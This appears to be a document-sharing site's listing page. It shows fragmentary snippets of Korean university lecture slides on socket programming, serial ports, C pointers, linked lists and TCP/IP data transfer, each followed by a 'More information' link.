2009년 상반기 사업계획 소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

untitled

untitled int i = 10; char c = 69; float f = 12.3; int i = 10; char c = 69; float f = 12.3; printf("i : %u\n", &i); // i printf("c : %u\n", &c); // c printf("f : %u\n", &f); // f return 0; i : 1245024 c : 1245015

More information

Microsoft PowerPoint - chap12-고급기능.pptx

Microsoft PowerPoint - chap12-고급기능.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 가 제공하는 매크로 상수와 매크로

More information

<4D F736F F F696E74202D20C1A63134C0E520C6F7C0CEC5CD5FC8B0BFEB>

<4D F736F F F696E74202D20C1A63134C0E520C6F7C0CEC5CD5FC8B0BFEB> 쉽게풀어쓴 C 언어 Express 제 14 장포인터활용 이중포인터 이중포인터 (double pointer) : 포인터를가리키는포인터 int i = 10; int *p = &i; int **q = &p; // i 는 int 형변수 // p 는 i 를가리키는포인터 // q 는포인터 p 를가리키는이중포인터 이중포인터 이중포인터의해석 이중포인터 // 이중포인터프로그램

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)

More information